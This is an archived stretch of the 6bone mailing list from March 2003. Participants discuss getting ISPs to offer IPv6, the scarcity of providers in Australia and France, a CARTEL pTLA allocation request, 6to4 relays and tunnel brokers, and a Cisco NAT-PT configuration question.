> get them to do IPv6. If they don't and you still want it,
> go to another ISP.

I don't see any single feature that IPv6 could bring me today that would
make me change the good deal I have with my IPv4 ISP. The 1% of IPv6 I
do does not justify changing the 99% of IPv4.

Frankly, if it was not for the research work I do on IPv6 I not could
care less about IPv6 as an Internet user; there is nothing that I need
or like that's not available on v4. ISPs are not dumb they know it too.
 

> Jonathan Guthrie wrote:
> It is premature to schedule the end of the 6bone until there
> are multiple dialup and broadband providers in the USA.

And not only in the USA. Someone knows about an IPv6 provider in Lyon or
Marseille, France? (the two biggest cities after Paris). 

However, it is not premature to schedule the end of the 6bone; the 6bone
needs to sunset. What we must not do is to schedule a premature end.

Michel.


From dan@reeder.name Sun Mar  2 16:32:05 2003
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   "Jeroen Massar" <jeroen@unfix.org>
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References: <001501c2df85$dc022e10$210d640a@unfix.org> <20030302213400.GA17347@chromite.brokersys.com>
Subject: Re: [6bone] Getting ISPs to use IPv6
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> It is premature to schedule the end of the 6bone until there are multiple
> dialup and broadband providers in the USA.

and, dare i say it, in each major region of the world too?
i'm yet to see a non-tunnelled solution for the home user in .au

dan

----- Original Message -----
From: "Jonathan Guthrie" <jguthrie@brokersys.com>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
Sent: Monday, March 03, 2003 7:34 AM
Subject: Re: [6bone] Getting ISPs to use IPv6


>
> On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
> > As an end user you will need to push your upstream, the people who
> > you pay, along with a load of other people to get them to do IPv6.
> > If they don't and you still want it, go to another ISP.
>
> And if there is no available ISP?  As I said before, saying 'give me IPv6
> transit or I'll disconnect from the Internet' is not a credible threat.
>
> It is premature to schedule the end of the 6bone until there are multiple
> dialup and broadband providers in the USA.
> --
> Jonathan Guthrie (jguthrie@brokersys.com)
> Sto pro veritate
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From dan@reeder.name Sun Mar  2 20:23:09 2003
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Subject: Re: [6bone] Getting ISPs to use IPv6
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let me expand on my point below -
according to sixxs, there's four TLAs in australia: Connect, Telstra, NTT,
and AARNET

from what I can determine, Connect has been idle since it's inception in
1999; Telstra has a boss who thinks packet switching is an immature
technology, not to mention the fact that their left hand doesn't know what
the right hand is doing in an organisation that big; NTT seems to be for big
business ($$) only; and Aarnet for educational institutions only.

does anyone who lives in a country similarly constrained have any ideas
about how to get things progressing?

dan
----- Original Message -----
From: "Dan Reeder" <dan@reeder.name>
To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
<jeroen@unfix.org>
Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
Sent: Monday, March 03, 2003 10:31 AM
Subject: Re: [6bone] Getting ISPs to use IPv6


> > It is premature to schedule the end of the 6bone until there are
multiple
> > dialup and broadband providers in the USA.
>
> and, dare i say it, in each major region of the world too?
> i'm yet to see a non-tunnelled solution for the home user in .au
>
> dan
>
> ----- Original Message -----
> From: "Jonathan Guthrie" <jguthrie@brokersys.com>
> To: "Jeroen Massar" <jeroen@unfix.org>
> Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
> Sent: Monday, March 03, 2003 7:34 AM
> Subject: Re: [6bone] Getting ISPs to use IPv6
>
>
> >
> > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
> > > As an end user you will need to push your upstream, the people who
> > > you pay, along with a load of other people to get them to do IPv6.
> > > If they don't and you still want it, go to another ISP.
> >
> > And if there is no available ISP?  As I said before, saying 'give me
IPv6
> > transit or I'll disconnect from the Internet' is not a credible threat.
> >
> > It is premature to schedule the end of the 6bone until there are
multiple
> > dialup and broadband providers in the USA.
> > --
> > Jonathan Guthrie (jguthrie@brokersys.com)
> > Sto pro veritate
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From bob@thefinks.com Sun Mar  2 22:51:29 2003
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From: Bob Fink <bob@thefinks.com>
Cc: Laurent Mele <mele@cartel-securite.fr>
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Subject: [6bone] pTLA request by CARTEL - review closes 17 March 2003
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6bone Folk,

CARTEL has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 17 March 
2003. Please send your comments to me or the list.

   <www.ipv6.cartel-securite.net>


Thanks,

Bob

===
Date: Wed, 26 Feb 2003 10:43:52 +0100
From: Laurent Mele <mele@cartel-securite.fr>
To: fink@es.net
Subject: pTLA request.
Message-ID: <20030226094352.GT11553@cartel-securite.fr>
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Hi,

1. The pTLA Applicant must have a minimum of three (3) months
    qualifying experience as a 6Bone end-site or pNLA transit.   During
    the entire qualifying period the Applicant must be operationally
    providing the following:

    We are on the 6 bone since February 2002 with a first /56 sub 
delegation From Oleane (AS3215) / France Telecom


  a. Fully maintained, up to date, 6Bone Registry entries for their
     ipv6-site inet6num, mntner, and person objects, including each
     tunnel that the Applicant has.

     Our objects are viewable here : 
http://whois.6bone.net/cgi-bin/whois?CARTEL



  b. Fully maintained, and reliable, BGP4+ peering and connectivity
     between the Applicant's boundary router and the appropriate
     connection point into the 6Bone. This router must be IPv6
     pingable. This criteria is judged by members of the 6Bone
     Operations Group at the time of the Applicant's pTLA request.


     Our router is a cisco 3620 operating a 12.2.8T5 IOS
     Pingable at : 3FFE:4013:F:25::2 (for the moment as we plan to of 
course change it's primary IP)



  c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
     entries for the Applicant's router(s) and at least one host
     system.

     Our DNS are : ns0.cartel-securite.net (3ffe:4013:2101:110::100 / 
194.29.206.15)
     		  ns1.cartel-securite.net (3ffe:4013:2101:116::100 / 194.29.206.67)


d. A fully maintained, and reliable, IPv6-accessible system
     providing, at a mimimum, one or more web pages, describing the
     Applicant's IPv6 services.  This server must be IPv6 pingable.

     For the moment web site is www.ipv6.cartel-securite.net but will 
change soon to let our customers change their tunnels and gets /48 or /64 
delegations... Work in progress...


2. The pTLA Applicant MUST have the ability and intent to provide
    "production-quality" 6Bone backbone service. Applicants must
    provide a statement and information in support of this claim.

  a. A support staff of two persons minimum, three preferable, with
     person attributes registered for each in the ipv6-site object
     for the pTLA applicant.

    Our staff is as mentionned in 6bone whois db and it's consist in Three 
Members.

  b. A common mailbox for support contact purposes that all support
     staff have acess to, pointed to with a notify attribute in the
     ipv6-site object for the pTLA Applicant.

     The address is ipv6@cartel-securite.fr which is an alias for mele, 
lasserteux, lecocq   @cartel-securite.fr

3. The pTLA Applicant MUST have a potential "user community" that
    would be served by its becoming a pTLA, e.g., the Applicant is a
    major provider of Internet service in a region, country, or focus
    of interest. Applicant must provide a statement and information in
    support this claim.

    We want a pTLA allocation to serve our customers which wants to test 
ipv6 and for our web / mail / ..... / servers.
    We do not want for the moment to sell ipv6 and it's really for testing 
purpose. We will probably offer tunnels and /64 delegations to anybody who 
wants it.

    We are provider for enterprise or entity which needs secure environment 
like banks or ministers. We are exclusively working with French society for 
hosting / providing.
    Our providing consist in Fibers peer to peer link between us and our 
customers. After that, nothing really more than firewalling -> backbone -> 
Internet.
    They often have DMZ for "private" services hosting (web, smtp, dns)
	
    We actually host more than 100 corporate sites for the most with https. 
We also provide smtp/dns...
    BTW our customers are a few number (< 200) but they have greats needs 
in ip (V4 only for the moment) for stuff like VPN or HTTPS.

    We want to promote ipv6 to them as a test platform (no fees, no charges).


4. The pTLA Applicant MUST commit to abide by the current 6Bone
    operational rules and policies as they exist at time of its
    application, and agree to abide by future 6Bone backbone
    operational rules and policies as they evolve by consensus of the
    6Bone backbone and user community.

    When an Applicant seeks to receive a pTLA allocation, it will apply
    to the 6Bone Operations Group (see section 8 below) by providing to
    the Group information in support of its claims that it meets the
    criteria above.

-- 
Laurent Mele
CARTEL SECURITE GROUPE CGBI
Ingenieur Systemes et Reseaux
Tel.: +33 1.44.06.97.88
Fax : +33 1.44.06.97.99
http://www.cartel-securite.fr


From jeroen@unfix.org Mon Mar  3 07:35:43 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Dan Reeder'" <dan@reeder.name>, <6bone@ISI.EDU>
Subject: RE: [6bone] Getting ISPs to use IPv6
Date: Mon, 3 Mar 2003 16:35:54 +0100
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Dan Reeder wrote:

> let me expand on my point below -
> according to sixxs, there's four TLAs in australia: Connect, 
> Telstra, NTT,
> and AARNET

You skipped Trumpet, though they have 'only' a 6bone pTLA.
Trumpet has been quite active in the IPv6 world and even
added IPv6 support to most of their programs, at least
according to their website.
See: http://www.trumpet.com.au/ipv6.htm

2001:388::/32   AARNET-IPV6-20020117
2001:210::/35   CONNECT-AU-19990916
2001:360::/32   V6TELSTRAINTERNET-AU-20011211
3ffe:8000::/28  TRUMPET/AU
2001:c78::/32   NTTIP-AU-20020910  

> from what I can determine, Connect has been idle since it's 
> inception in 1999; Telstra has a boss who thinks packet
> switching is an immature technology, not to mention the
> fact that their left hand doesn't know what the right hand
> is doing in an organisation that big; NTT seems to be for big
> business ($$) only; and Aarnet for educational institutions only.

Of these NTT does do IPv6 globally, that is they are connected
natively at least at AMS-IX, most parts of the US and Japan.

> does anyone who lives in a country similarly constrained have 
> any ideas about how to get things progressing?

What about harrassing^Wcontacting their sales department
and inquiring about the status? If I where living in that
country I would be on their necks ;)

You could also check and contact:
http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#AU

Which contains a list of 9 other sites apparently connected to the
6bone.

Greets,
 Jeroen

PS: If you are able to find a australian ISP with a TLA who wants
to do tunnelbrokering but doesn't have the means to do so, you
can always point them to http://www.sixxs.net/pops/requirements/



From m.gargani@edisontel.it Mon Mar  3 07:49:43 2003
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From: Max Gargani <m.gargani@edisontel.it>
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Subject: [6bone] route object IPv6
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Hi all,

Anyone knows if RIPE Db supports the object in subject?

Thanks,
Max



From mcr@sandelman.ottawa.on.ca Mon Mar  3 10:35:18 2003
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Subject: Re: [6bone] Getting ISPs to use IPv6 
In-reply-to: Your message of "Sat, 01 Mar 2003 14:55:48 GMT."
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-----BEGIN PGP SIGNED MESSAGE-----


So, there are two ways to get /48s that you can use.

1) from places like freenet6 or xs6.
2) via 6to4.

The problem with freenet6-type things is that they depend upon tunnels
to places that aren't necessarily that well connected. xs6 is much better,
but not perfect.

But, you can't advertise 6to4 addresses to the DFZ. You could do so
via private peering arrangements, but the peer could as easily configure
a 6to4 interface, and you wouldn't need to IPv6 peer at all.

The problem with 6to4 is ironic - traffic to any other 6to4 peer is very
efficient - following the IPv4 routing table. The problem is that 6bone
is SO POORLY CONNECTED from the 6to4 user's point of view.  

A lot of purists want to run IPv6 natively, and don't seem to care about
connecting to actual end users... result, no traffic on the native backbone.

So, we need more sites people on the 6bone that have local 6to4
encapsulators, and we need more 6to4 relays out there so that the 6to4 end
users can get things done efficiently. The question is how, given that many
ISPs are not interested in IPv6 at all yet.

I was thinking of putting together a machine for a local IX that would
advertise the 6to4 anycast address. The issue is what do you do with the
resulting IPv6 packets?  You have to get IPv6 transit from somewhere.
In some cases, it may well be available for low cost. Not at our IX.

My idea was to have such a box form a series of static tunnels to 
various friendly IPv6 sites. Here is the key - when sending the packet
back out, one should look at the MAC address that it arrived from. Since this
is the ISP that sent the packet, send a new packet out via that MAC address
that is the encapsulated packet to the 6bone.

The effect here is that route used for the packets from ISP A is back out
ISP A. Since the original packet is presumeably from a customer of ISP A,
ISP A shouldn't have a problem with paying to transit the resulting
packet. (And if they do, then one doesn't accept packets from them)

I can see this as being even more important for Teredo.
What do you think? 

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [
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From jeroen@unfix.org Mon Mar  3 12:40:54 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Michael Richardson'" <mcr@sandelman.ottawa.on.ca>, <6bone@ISI.EDU>
Subject: RE: [6bone] Getting ISPs to use IPv6 
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Michael Richardson wrote:

> So, there are two ways to get /48s that you can use.
> 
> 1) from places like freenet6 or xs6.
> 2) via 6to4.
> 
> The problem with freenet6-type things is that they depend upon tunnels
> to places that aren't necessarily that well connected. xs6 is 
> much better, but not perfect.
> 
> But, you can't advertise 6to4 addresses to the DFZ. You could do so
> via private peering arrangements, but the peer could as 
> easily configure a 6to4 interface, and you wouldn't need to IPv6 peer
at all.
> 
> The problem with 6to4 is ironic - traffic to any other 6to4 
> peer is very efficient - following the IPv4 routing table. The problem
is 
> that 6bone is SO POORLY CONNECTED from the 6to4 user's point of view.


One first should differentiate between "6bone IPv6" and "Production
IPv6".
Though there are sites using 6bone space that qualify for "Production".
A better way to describe it is when a site is MIPP compliant or not,
see:
http://ip6.de.easynet.net/ipv6-minimum-peering.txt

Users won't want to only access the 6bone they want to access the
IPv6 enabled internet, of which 6bone is only a small, but significant
part.

> A lot of purists want to run IPv6 natively, and don't seem to 
> care about connecting to actual end users... result, no traffic on the

> native backbone.

The problem with connecting end-users is the infra in between which
mostly
consists of hardware which simply doesn't support IPv6.
In my case the 'problem' is a Redback SMS 1800, I got native IPv4 over
ADSL,
but those SMS's don't understand IPv6 at all. But using a 6in4 tunnel it
only adds ~2ms to my latency as it crosses the IX, so that isn't that
bad.

Fortunatly there are a number of transition methods to overcome those
problems.

> So, we need more sites people on the 6bone that have local 6to4
> encapsulators, and we need more 6to4 relays out there so that 
> the 6to4 end users can get things done efficiently. The question is
how, 
> given that many ISPs are not interested in IPv6 at all yet.
> 
> I was thinking of putting together a machine for a local IX that would
> advertise the 6to4 anycast address. The issue is what do you 
> do with the resulting IPv6 packets?  You have to get IPv6 transit from
somewhere.
> In some cases, it may well be available for low cost. Not at our IX.

Effectively this is what we are doing with SixXS, a LIR can come to us*,
and we'll fix them up with a POP from which they can provision their
users
to get them connected to IPv6. This currently only is done using 6in4
tunnels
but the system is capable of doing other methods (ppp over ssh, to name
one ;)
The autoconfig tool, which also allows dailup/non-static, non-24/7 users
to benefit from this, is currently in internal beta.

Currently IPv6 "transit" isn't a big problem as most sites will happily
do it
for free, ofcourse in certain limits. So one doesn't have to worry about
that.
Just make sure you are at a IX where some other ISP's do IPv6 and your
off.
For 'better' connectivity one can ofcourse make a few tunnels to remote
sites.
Though one should stay inside the specs given in the MIPP draft.

Note that this talk and related have been held last month on the v6ops
mailing
list mainly because it is 'bigger' than the 6bone.

Greets,
 Jeroen

* = http://www.sixxs.net/pops/requirements/
(and no, it doesn't cost anything except for some traffic and some
hardware for the POP)


From mrp@mrp.net Mon Mar  3 17:23:43 2003
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Date: Tue, 4 Mar 2003 11:53:20 +1030
To: "Dan Reeder" <dan@reeder.name>, <6bone@ISI.EDU>
From: Mark Prior <mrp@mrp.net>
Subject: Re: [6bone] Getting ISPs to use IPv6
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At 2:23 PM +1000 3/3/03, Dan Reeder wrote:
>let me expand on my point below -
>according to sixxs, there's four TLAs in australia: Connect, Telstra, NTT,
>and AARNET
>
>from what I can determine, Connect has been idle since it's inception in
>1999; Telstra has a boss who thinks packet switching is an immature
>technology, not to mention the fact that their left hand doesn't know what
>the right hand is doing in an organisation that big; NTT seems to be for big
>business ($$) only; and Aarnet for educational institutions only.
>
Connect had it running (since I turned it on and was using it :-) but 
I guess someone/thing has broken it (possibly just the tunnel out of 
the country). It wasn't a production service so it would have needed 
someone to complain for a problem to be investigated and fixed.

Mark.
(now at AARNet :-)

From ferryas@cc.saga-u.ac.jp Mon Mar  3 18:12:55 2003
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Subject: [6bone] Help For CISCO NAT PT
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--------------060803000504020809070604
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Hi, everyone.
Today my lab buy a new cisco  2611 XM with IOS 12.2(13T). We want to try 
migration strategy using NAT PT.
This is my lab. configuration
                               |                 
               ---------- |-----------
                               |
133.49.51.0/24            3ffe:aaaa:bbbb:800::/64
NATed prefix = 3ffe:b:aaaa::/96

IPv4 DNS=133.49.51.1
IPv4 Gateway = 133.49.51.1
IPv6 DNS 3ffe:aaaa:bbbb:800::53/64


I have try several command according to CISCO Documentation, but not 
succeed yet. Somebody can help me???
(I am new in CISCO NAT PT, so it looks like more difficult comparing 
with Free BSD :(   )

Thank you for your attention,

Ferry Astika S,
CNC Saga University




--------------060803000504020809070604--



From trent@irc-desk.net Tue Mar  4 01:38:57 2003
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From: Trent Lloyd <trent@irc-desk.net>
Subject: Re: [6bone] Getting ISPs to use IPv6
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We have a local internet exchange in Perth called "WAIX" and i am hoping to 
get some ipv6 transport happening over that
The founder/guy who runs it has expressed interest but naturally he is a 
busy man and since not that many people are into it i guess its not high on 
his to-do list

My local uni has connected through aarnet, and you can get a 'tunnel' from 
6bone@progsoc.org.au (email) who come of [i forget]

As you said, the 4 TLA owners there are unlikely to do much - a shame.

Is it possible for a 'group' to get a TLA?
maybe an informal associated of people from random ISPs and just people got 
together and got a TLA which they could do stuff with?
I'd be interested.

At 02:23 PM 3/03/2003 +1000, Dan Reeder wrote:
>let me expand on my point below -
>according to sixxs, there's four TLAs in australia: Connect, Telstra, NTT,
>and AARNET
>
>from what I can determine, Connect has been idle since it's inception in
>1999; Telstra has a boss who thinks packet switching is an immature
>technology, not to mention the fact that their left hand doesn't know what
>the right hand is doing in an organisation that big; NTT seems to be for big
>business ($$) only; and Aarnet for educational institutions only.
>
>does anyone who lives in a country similarly constrained have any ideas
>about how to get things progressing?
>
>dan
>----- Original Message -----
>From: "Dan Reeder" <dan@reeder.name>
>To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
><jeroen@unfix.org>
>Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
>Sent: Monday, March 03, 2003 10:31 AM
>Subject: Re: [6bone] Getting ISPs to use IPv6
>
>
> > > It is premature to schedule the end of the 6bone until there are
>multiple
> > > dialup and broadband providers in the USA.
> >
> > and, dare i say it, in each major region of the world too?
> > i'm yet to see a non-tunnelled solution for the home user in .au
> >
> > dan
> >
> > ----- Original Message -----
> > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
> > To: "Jeroen Massar" <jeroen@unfix.org>
> > Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
> > Sent: Monday, March 03, 2003 7:34 AM
> > Subject: Re: [6bone] Getting ISPs to use IPv6
> >
> >
> > >
> > > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
> > > > As an end user you will need to push your upstream, the people who
> > > > you pay, along with a load of other people to get them to do IPv6.
> > > > If they don't and you still want it, go to another ISP.
> > >
> > > And if there is no available ISP?  As I said before, saying 'give me
>IPv6
> > > transit or I'll disconnect from the Internet' is not a credible threat.
> > >
> > > It is premature to schedule the end of the 6bone until there are
>multiple
> > > dialup and broadband providers in the USA.
> > > --
> > > Jonathan Guthrie (jguthrie@brokersys.com)
> > > Sto pro veritate
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From trent@irc-desk.net Tue Mar  4 01:41:23 2003
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   "'Michael Richardson'" <mcr@sandelman.ottawa.on.ca>, <6bone@ISI.EDU>
From: Trent Lloyd <trent@irc-desk.net>
Subject: RE: [6bone] Getting ISPs to use IPv6 
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What software exists for 6to4 relay-routing

I think 6to4 is great personally [use it with Windows XP at home]

It be interested in having a shot at setting one up/.

At 09:41 PM 3/03/2003 +0100, Jeroen Massar wrote:
>Michael Richardson wrote:
>
> > So, there are two ways to get /48s that you can use.
> >
> > 1) from places like freenet6 or xs6.
> > 2) via 6to4.
> >
> > The problem with freenet6-type things is that they depend upon tunnels
> > to places that aren't necessarily that well connected. xs6 is
> > much better, but not perfect.
> >
> > But, you can't advertise 6to4 addresses to the DFZ. You could do so
> > via private peering arrangements, but the peer could as
> > easily configure a 6to4 interface, and you wouldn't need to IPv6 peer
>at all.
> >
> > The problem with 6to4 is ironic - traffic to any other 6to4
> > peer is very efficient - following the IPv4 routing table. The problem
>is
> > that 6bone is SO POORLY CONNECTED from the 6to4 user's point of view.
>
>
>One first should differentiate between "6bone IPv6" and "Production
>IPv6".
>Though there are sites using 6bone space that qualify for "Production".
>A better way to describe it is when a site is MIPP compliant or not,
>see:
>http://ip6.de.easynet.net/ipv6-minimum-peering.txt
>
>Users won't want to only access the 6bone they want to access the
>IPv6 enabled internet, of which 6bone is only a small, but significant
>part.
>
> > A lot of purists want to run IPv6 natively, and don't seem to
> > care about connecting to actual end users... result, no traffic on the
>
> > native backbone.
>
>The problem with connecting end-users is the infra in between which
>mostly
>consists of hardware which simply doesn't support IPv6.
>In my case the 'problem' is a Redback SMS 1800, I got native IPv4 over
>ADSL,
>but those SMS's don't understand IPv6 at all. But using a 6in4 tunnel it
>only adds ~2ms to my latency as it crosses the IX, so that isn't that
>bad.
>
>Fortunatly there are a number of transition methods to overcome those
>problems.
>
> > So, we need more sites people on the 6bone that have local 6to4
> > encapsulators, and we need more 6to4 relays out there so that
> > the 6to4 end users can get things done efficiently. The question is
>how,
> > given that many ISPs are not interested in IPv6 at all yet.
> >
> > I was thinking of putting together a machine for a local IX that would
> > advertise the 6to4 anycast address. The issue is what do you
> > do with the resulting IPv6 packets?  You have to get IPv6 transit from
>somewhere.
> > In some cases, it may well be available for low cost. Not at our IX.
>
>Effectively this is what we are doing with SixXS, a LIR can come to us*,
>and we'll fix them up with a POP from which they can provision their
>users
>to get them connected to IPv6. This currently only is done using 6in4
>tunnels
>but the system is capable of doing other methods (ppp over ssh, to name
>one ;)
>The autoconfig tool, which also allows dailup/non-static, non-24/7 users
>to benefit from this, is currently in internal beta.
>
>Currently IPv6 "transit" isn't a big problem as most sites will happily
>do it
>for free, ofcourse in certain limits. So one doesn't have to worry about
>that.
>Just make sure you are at a IX where some other ISP's do IPv6 and your
>off.
>For 'better' connectivity one can ofcourse make a few tunnels to remote
>sites.
>Though one should stay inside the specs given in the MIPP draft.
>
>Note that this talk and related have been held last month on the v6ops
>mailing
>list mainly because it is 'bigger' than the 6bone.
>
>Greets,
>  Jeroen
>
>* = http://www.sixxs.net/pops/requirements/
>(and no, it doesn't cost anything except for some traffic and some
>hardware for the POP)
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From trent@irc-desk.net Tue Mar  4 02:06:33 2003
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Subject: [6bone] IPv6 Mini-Conference Update & Articles on setting up IPv6
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Hey guys,

	as part of the new online australian linux mag (www.linmagau.org) theres a 
small section on the IPv6 mini-conference
	http://www.linmagau.org/modules.php?name=Sections&op=viewarticle&artid=41

	and an article on using abdul basit's tunnel broker to get yourself 
connected here
	http://www.linmagau.org/modules.php?name=Sections&op=viewarticle&artid=42

	Have fun ;)

	Also i hope to have the papers online at http://conf.sixlabs.org/papers/ 
soonish (the old site now at http://conf.sixlabs.org - ill point the old 
http://ipv6.ztsoftware.net/ there soon)

Trent


From bmanning@ISI.EDU Tue Mar  4 05:51:02 2003
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Subject: Re: [6bone] Getting ISPs to use IPv6
In-Reply-To: <5.1.0.14.0.20030304173607.01facc70@mail.bur.st> from Trent Lloyd at "Mar 4, 3 05:38:45 pm"
To: trent@irc-desk.net (Trent Lloyd)
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 Once Gavin gets the paperwork processed, WAIX will have a v6
 prefix delegated from ep.net for WAIX participants to use for
 native peering.




% We have a local internet exchange in Perth called "WAIX" and i am hoping to 
% get some ipv6 transport happening over that
% The founder/guy who runs it has expressed interest but naturally he is a 
% busy man and since not that many people are into it i guess its not high on 
% his to-do list
% 
% My local uni has connected through aarnet, and you can get a 'tunnel' from 
% 6bone@progsoc.org.au (email) who come of [i forget]
% 
% As you said, the 4 TLA owners there are unlikely to do much - a shame.
% 
% Is it possible for a 'group' to get a TLA?
% maybe an informal associated of people from random ISPs and just people got 
% together and got a TLA which they could do stuff with?
% I'd be interested.
% 
% At 02:23 PM 3/03/2003 +1000, Dan Reeder wrote:
% >let me expand on my point below -
% >according to sixxs, there's four TLAs in australia: Connect, Telstra, NTT,
% >and AARNET
% >
% >from what I can determine, Connect has been idle since it's inception in
% >1999; Telstra has a boss who thinks packet switching is an immature
% >technology, not to mention the fact that their left hand doesn't know what
% >the right hand is doing in an organisation that big; NTT seems to be for big
% >business ($$) only; and Aarnet for educational institutions only.
% >
% >does anyone who lives in a country similarly constrained have any ideas
% >about how to get things progressing?
% >
% >dan
% >----- Original Message -----
% >From: "Dan Reeder" <dan@reeder.name>
% >To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
% ><jeroen@unfix.org>
% >Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
% >Sent: Monday, March 03, 2003 10:31 AM
% >Subject: Re: [6bone] Getting ISPs to use IPv6
% >
% >
% > > > It is premature to schedule the end of the 6bone until there are
% >multiple
% > > > dialup and broadband providers in the USA.
% > >
% > > and, dare i say it, in each major region of the world too?
% > > i'm yet to see a non-tunnelled solution for the home user in .au
% > >
% > > dan
% > >
% > > ----- Original Message -----
% > > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
% > > To: "Jeroen Massar" <jeroen@unfix.org>
% > > Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
% > > Sent: Monday, March 03, 2003 7:34 AM
% > > Subject: Re: [6bone] Getting ISPs to use IPv6
% > >
% > >
% > > >
% > > > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
% > > > > As an end user you will need to push your upstream, the people who
% > > > > you pay, along with a load of other people to get them to do IPv6.
% > > > > If they don't and you still want it, go to another ISP.
% > > >
% > > > And if there is no available ISP?  As I said before, saying 'give me
% >IPv6
% > > > transit or I'll disconnect from the Internet' is not a credible threat.
% > > >
% > > > It is premature to schedule the end of the 6bone until there are
% >multiple
% > > > dialup and broadband providers in the USA.
% > > > --
% > > > Jonathan Guthrie (jguthrie@brokersys.com)
% > > > Sto pro veritate
% > > > _______________________________________________
% > > > 6bone mailing list
% > > > 6bone@mailman.isi.edu
% > > > http://mailman.isi.edu/mailman/listinfo/6bone
% > >
% > > _______________________________________________
% > > 6bone mailing list
% > > 6bone@mailman.isi.edu
% > > http://mailman.isi.edu/mailman/listinfo/6bone
% >
% >_______________________________________________
% >6bone mailing list
% >6bone@mailman.isi.edu
% >http://mailman.isi.edu/mailman/listinfo/6bone
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From trent@irc-desk.net Tue Mar  4 06:49:06 2003
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Date: Tue, 04 Mar 2003 22:48:55 +0800
To: Bill Manning <bmanning@ISI.EDU>
From: Trent Lloyd <trent@irc-desk.net>
Subject: Re: [6bone] Getting ISPs to use IPv6
Cc: 6bone@ISI.EDU
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At 05:50 AM 4/03/2003 -0800, Bill Manning wrote:
>  Once Gavin gets the paperwork processed, WAIX will have a v6
>  prefix delegated from ep.net for WAIX participants to use for
>  native peering.

really? cool i didnt know he got this far.
i suspected he hadn't done much at all actually


>% We have a local internet exchange in Perth called "WAIX" and i am hoping to
>% get some ipv6 transport happening over that
>% The founder/guy who runs it has expressed interest but naturally he is a
>% busy man and since not that many people are into it i guess its not high on
>% his to-do list
>%
>% My local uni has connected through aarnet, and you can get a 'tunnel' from
>% 6bone@progsoc.org.au (email) who come of [i forget]
>%
>% As you said, the 4 TLA owners there are unlikely to do much - a shame.
>%
>% Is it possible for a 'group' to get a TLA?
>% maybe an informal associated of people from random ISPs and just people got
>% together and got a TLA which they could do stuff with?
>% I'd be interested.
>%
>% At 02:23 PM 3/03/2003 +1000, Dan Reeder wrote:
>% >let me expand on my point below -
>% >according to sixxs, there's four TLAs in australia: Connect, Telstra, NTT,
>% >and AARNET
>% >
>% >from what I can determine, Connect has been idle since it's inception in
>% >1999; Telstra has a boss who thinks packet switching is an immature
>% >technology, not to mention the fact that their left hand doesn't know what
>% >the right hand is doing in an organisation that big; NTT seems to be 
>for big
>% >business ($$) only; and Aarnet for educational institutions only.
>% >
>% >does anyone who lives in a country similarly constrained have any ideas
>% >about how to get things progressing?
>% >
>% >dan
>% >----- Original Message -----
>% >From: "Dan Reeder" <dan@reeder.name>
>% >To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
>% ><jeroen@unfix.org>
>% >Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
>% >Sent: Monday, March 03, 2003 10:31 AM
>% >Subject: Re: [6bone] Getting ISPs to use IPv6
>% >
>% >
>% > > > It is premature to schedule the end of the 6bone until there are
>% >multiple
>% > > > dialup and broadband providers in the USA.
>% > >
>% > > and, dare i say it, in each major region of the world too?
>% > > i'm yet to see a non-tunnelled solution for the home user in .au
>% > >
>% > > dan
>% > >
>% > > ----- Original Message -----
>% > > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
>% > > To: "Jeroen Massar" <jeroen@unfix.org>
>% > > Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
>% > > Sent: Monday, March 03, 2003 7:34 AM
>% > > Subject: Re: [6bone] Getting ISPs to use IPv6
>% > >
>% > >
